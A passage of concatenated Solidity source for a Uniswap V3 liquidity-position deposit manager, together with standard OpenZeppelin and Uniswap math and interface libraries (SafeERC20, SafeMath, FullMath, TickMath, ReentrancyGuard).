TickMath.getSqrtRatioAtTick( int24((tickCumulatives[1] - tickCumulatives[0]) / _twapInterval) ); } } /// @param _priceThreshold Price Threshold function setPriceThreshold(uint256 _priceThreshold) external onlyOwner { priceThreshold = _priceThreshold; emit PriceThresholdSet(_priceThreshold); } /// @param _depositDelta Number to calculate deposit ratio function setDepositDelta(uint256 _depositDelta) external onlyOwner { depositDelta = _depositDelta; emit DepositDeltaSet(_depositDelta); } /// @param _deltaScale Number to calculate deposit ratio function setDeltaScale(uint256 _deltaScale) external onlyOwner { deltaScale = _deltaScale; emit DeltaScaleSet(_deltaScale); } /// @param pos Hypervisor address /// @param deposit0Max Amount of maximum deposit amounts of token0 /// @param deposit1Max Amount of maximum deposit amounts of token1 /// @param maxTotalSupply Maximum total suppoy of hypervisor function customDeposit( address pos, uint256 deposit0Max, uint256 deposit1Max, uint256 maxTotalSupply ) external onlyOwner onlyAddedPosition(pos) { Position storage p = positions[pos]; p.deposit0Max = deposit0Max; p.deposit1Max = deposit1Max; p.maxTotalSupply = maxTotalSupply; emit CustomDeposit(pos, deposit0Max, deposit1Max, maxTotalSupply); } /// @notice Toogle free deposit function toggleDepositFree() external onlyOwner { freeDeposit = !freeDeposit; emit DepositFreeToggled(); } /// @notice Toggle deposit override /// @param pos Hypervisor Address function toggleDepositOverride(address pos) external onlyOwner onlyAddedPosition(pos) { Position storage p = positions[pos]; p.depositOverride = !p.depositOverride; emit DepositOverrideToggled(pos); } /// @notice Toggle free deposit of the given hypervisor /// @param pos Hypervisor Address function toggleDepositFreeOverride(address pos) external onlyOwner onlyAddedPosition(pos) { Position storage p = positions[pos]; p.freeDeposit = !p.freeDeposit; emit DepositFreeOverrideToggled(pos); } /// @param _twapInterval Time intervals function setTwapInterval(uint32 _twapInterval) external onlyOwner { twapInterval = _twapInterval; emit TwapIntervalSet(_twapInterval); } /// @param pos Hypervisor Address /// @param twapOverride Twap Override /// @param _twapInterval Time Intervals function setTwapOverride(address pos, bool twapOverride, uint32 _twapInterval) external onlyOwner onlyAddedPosition(pos) { Position storage p = positions[pos]; p.twapOverride = twapOverride; p.twapInterval = _twapInterval; emit TwapOverrideSet(pos, twapOverride, _twapInterval); } /// @param pos Hypervisor Address /// @param _priceThreshold Price Threshold function setPriceThresholdPos(address pos, uint256 _priceThreshold) external onlyOwner onlyAddedPosition(pos) { Position storage p = positions[pos]; p.priceThreshold = _priceThreshold; emit PriceThresholdPosSet(pos, _priceThreshold); } /// @notice Twap Toggle function toggleTwap() external onlyOwner { twapCheck = !twapCheck; emit TwapToggled(); } /// @notice Append whitelist to hypervisor /// @param pos Hypervisor Address /// @param listed Address array to add in whitelist function appendList(address pos, address[] memory listed) external onlyOwner onlyAddedPosition(pos) { Position storage p = positions[pos]; for (uint8 i; i < listed.length; i++) { p.list[listed[i]] = true; } emit ListAppended(pos, listed); } /// @notice Remove address from whitelist /// @param pos Hypervisor Address /// @param listed Address to remove from whitelist function removeListed(address pos, address listed) external onlyOwner onlyAddedPosition(pos) { Position storage p = positions[pos]; p.list[listed] = false; emit ListRemoved(pos, listed); } function transferOwnership(address newOwner) external onlyOwner { require(newOwner != address(0), "newOwner should be non-zero"); owner = newOwner; } modifier onlyOwner { require(msg.sender == owner, "only owner"); _; } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; pragma abicoder v2; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol"; interface IHypervisor { function deposit( uint256, uint256, address, address ) external returns (uint256); function withdraw( uint256, address, address, uint256, uint256 ) external returns (uint256, uint256); function rebalance( int24 _baseLower, int24 _baseUpper, int24 _limitLower, int24 _limitUpper, address _feeRecipient, uint256 _amount0Min, uint256 _amount1Min ) external; function rebalance( int24 _baseLower, int24 _baseUpper, int24 _limitLower, int24 _limitUpper, address _feeRecipient ) external; function rebalance( int24 _baseLower, int24 _baseUpper, int24 _limitLower, int24 _limitUpper, address _feeRecipient, int256 swapQuantity ) external; function rebalance( int24 _baseLower, int24 _baseUpper, int24 _limitLower, int24 _limitUpper, address _feeRecipient, int256 swapQuantity, int256 amountMin, uint160 sqrtPriceLimitX96 ) external; function addBaseLiquidity( uint256 amount0, uint256 amount1 ) external; function addLimitLiquidity( uint256 amount0, uint256 amount1 ) external; function pullLiquidity( uint256 shares, uint256 amount0Min, uint256 amount1Min ) external returns ( uint256 base0, uint256 base1, uint256 limit0, uint256 limit1 ); function pullLiquidity(uint256 shares) external returns( uint256 base0, uint256 base1, uint256 limit0, uint256 limit1 ); function compound() external returns ( uint128 baseToken0Owed, uint128 baseToken1Owed, uint128 limitToken0Owed, uint128 limitToken1Owed ); function pool() external view returns (IUniswapV3Pool); function currentTick() external view returns (int24 tick); function token0() external view returns (IERC20); function token1() external view returns (IERC20); function deposit0Max() external view returns (uint256); function deposit1Max() external view returns (uint256); function balanceOf(address) external view returns (uint256); function approve(address, uint256) external returns (bool); function transferFrom(address, address, uint256) external returns (bool); function transfer(address, uint256) external returns (bool); function getTotalAmounts() external view returns (uint256 total0, uint256 total1); function pendingFees() external returns (uint256 fees0, uint256 fees1); function totalSupply() external view returns (uint256 ); function setMaxTotalSupply(uint256 _maxTotalSupply) external; function setDepositMax(uint256 _deposit0Max, uint256 _deposit1Max) external; function setWhitelist(address _address) external; function removeWhitelisted() external; function appendList(address[] memory listed) external; function removeListed(address listed) external; function toggleWhitelist() external; function setSlippage(uint24 slippage) external; function transferOwnership(address newOwner) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.4.0; /// @title Contains 512-bit math functions /// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision /// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits library FullMath { /// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result /// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv function mulDiv( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { // 512-bit multiply [prod1 prod0] = a * b // Compute the product mod 2**256 and mod 2**256 - 1 // then use the Chinese Remainder Theorem to reconstruct // the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2**256 + prod0 uint256 prod0; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(a, b, not(0)) prod0 := mul(a, b) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division if (prod1 == 0) { require(denominator > 0); assembly { result := div(prod0, denominator) } return result; } // Make sure the result is less than 2**256. // Also prevents denominator == 0 require(denominator > prod1); /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0] // Compute remainder using mulmod uint256 remainder; assembly { remainder := mulmod(a, b, denominator) } // Subtract 256 bit number from 512 bit number assembly { prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator // Compute largest power of two divisor of denominator. // Always >= 1. uint256 twos = -denominator & denominator; // Divide denominator by power of two assembly { denominator := div(denominator, twos) } // Divide [prod1 prod0] by the factors of two assembly { prod0 := div(prod0, twos) } // Shift in bits from prod1 into prod0. For this we need // to flip `twos` such that it is 2**256 / twos. // If twos is zero, then it becomes one assembly { twos := add(div(sub(0, twos), twos), 1) } prod0 |= prod1 * twos; // Invert denominator mod 2**256 // Now that denominator is an odd number, it has an inverse // modulo 2**256 such that denominator * inv = 1 mod 2**256. // Compute the inverse by starting with a seed that is correct // correct for four bits. That is, denominator * inv = 1 mod 2**4 uint256 inv = (3 * denominator) ^ 2; // Now use Newton-Raphson iteration to improve the precision. // Thanks to Hensel's lifting lemma, this also works in modular // arithmetic, doubling the correct bits in each step. inv *= 2 - denominator * inv; // inverse mod 2**8 inv *= 2 - denominator * inv; // inverse mod 2**16 inv *= 2 - denominator * inv; // inverse mod 2**32 inv *= 2 - denominator * inv; // inverse mod 2**64 inv *= 2 - denominator * inv; // inverse mod 2**128 inv *= 2 - denominator * inv; // inverse mod 2**256 // Because the division is now exact we can divide by multiplying // with the modular inverse of denominator. This will give us the // correct result modulo 2**256. Since the precoditions guarantee // that the outcome is less than 2**256, this is the final result. // We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 * inv; return result; } /// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result function mulDivRoundingUp( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { result = mulDiv(a, b, denominator); if (mulmod(a, b, denominator) > 0) { require(result < type(uint256).max); result++; } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title SignedSafeMath * @dev Signed math operations with safety checks that revert on error. */ library SignedSafeMath { int256 constant private _INT256_MIN = -2**255; /** * @dev Returns the multiplication of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow"); int256 c = a * b; require(c / a == b, "SignedSafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two signed integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "SignedSafeMath: division by zero"); require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow"); int256 c = a / b; return c; } /** * @dev Returns the subtraction of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow"); return c; } /** * @dev Returns the addition of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow"); return c; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Math library for computing sqrt prices from ticks and vice versa /// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports /// prices between 2**-128 and 2**128 library TickMath { /// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128 int24 internal constant MIN_TICK = -887272; /// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128 int24 internal constant MAX_TICK = -MIN_TICK; /// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK) uint160 internal constant MIN_SQRT_RATIO = 4295128739; /// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK) uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342; /// @notice Calculates sqrt(1.0001^tick) * 2^96 /// @dev Throws if |tick| > max tick /// @param tick The input tick for the above formula /// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0) /// at the given tick function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) { uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick)); require(absTick <= uint256(MAX_TICK), 'T'); uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000; if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128; if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128; if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128; if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128; if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128; if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128; if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128; if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128; if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128; if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128; if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128; if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128; if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128; if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128; if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128; if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128; if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128; if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128; if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128; if (tick > 0) ratio = type(uint256).max / ratio; // this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96. // we then downcast because we know the result always fits within 160 bits due to our tick input constraint // we round up in the division so getTickAtSqrtRatio of the output price is always consistent sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1)); } /// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio /// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may /// ever return. /// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96 /// @return tick The greatest tick for which the ratio is less than or equal to the input ratio function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) { // second inequality must be < because the price can never reach the price at the max tick require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R'); uint256 ratio = uint256(sqrtPriceX96) << 32; uint256 r = ratio; uint256 msb = 0; assembly { let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(5, gt(r, 0xFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(4, gt(r, 0xFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(3, gt(r, 0xFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(2, gt(r, 0xF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(1, gt(r, 0x3)) msb := or(msb, f) r := shr(f, r) } assembly { let f := gt(r, 0x1) msb := or(msb, f) } if (msb >= 128) r = ratio >> (msb - 127); else r = ratio << (127 - msb); int256 log_2 = (int256(msb) - 128) << 64; assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(63, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(62, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(61, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(60, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(59, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(58, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(57, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(56, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(55, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(54, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(53, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(52, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(51, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(50, f)) } int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128); int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128); tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow; } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; import './pool/IUniswapV3PoolImmutables.sol'; import './pool/IUniswapV3PoolState.sol'; import './pool/IUniswapV3PoolDerivedState.sol'; import './pool/IUniswapV3PoolActions.sol'; import './pool/IUniswapV3PoolOwnerActions.sol'; import './pool/IUniswapV3PoolEvents.sol'; /// @title The interface for a Uniswap V3 Pool /// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform /// to the ERC20 specification /// @dev The pool interface is broken up into many smaller pieces interface IUniswapV3Pool is IUniswapV3PoolImmutables, IUniswapV3PoolState, IUniswapV3PoolDerivedState, IUniswapV3PoolActions, IUniswapV3PoolOwnerActions, IUniswapV3PoolEvents { } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that never changes /// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values interface IUniswapV3PoolImmutables { /// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface /// @return The contract address function factory() external view returns (address); /// @notice The first of the two tokens of the pool, sorted by address /// @return The token contract address function token0() external view returns (address); /// @notice The second of the two tokens of the pool, sorted by address /// @return The token contract address function token1() external view returns (address); /// 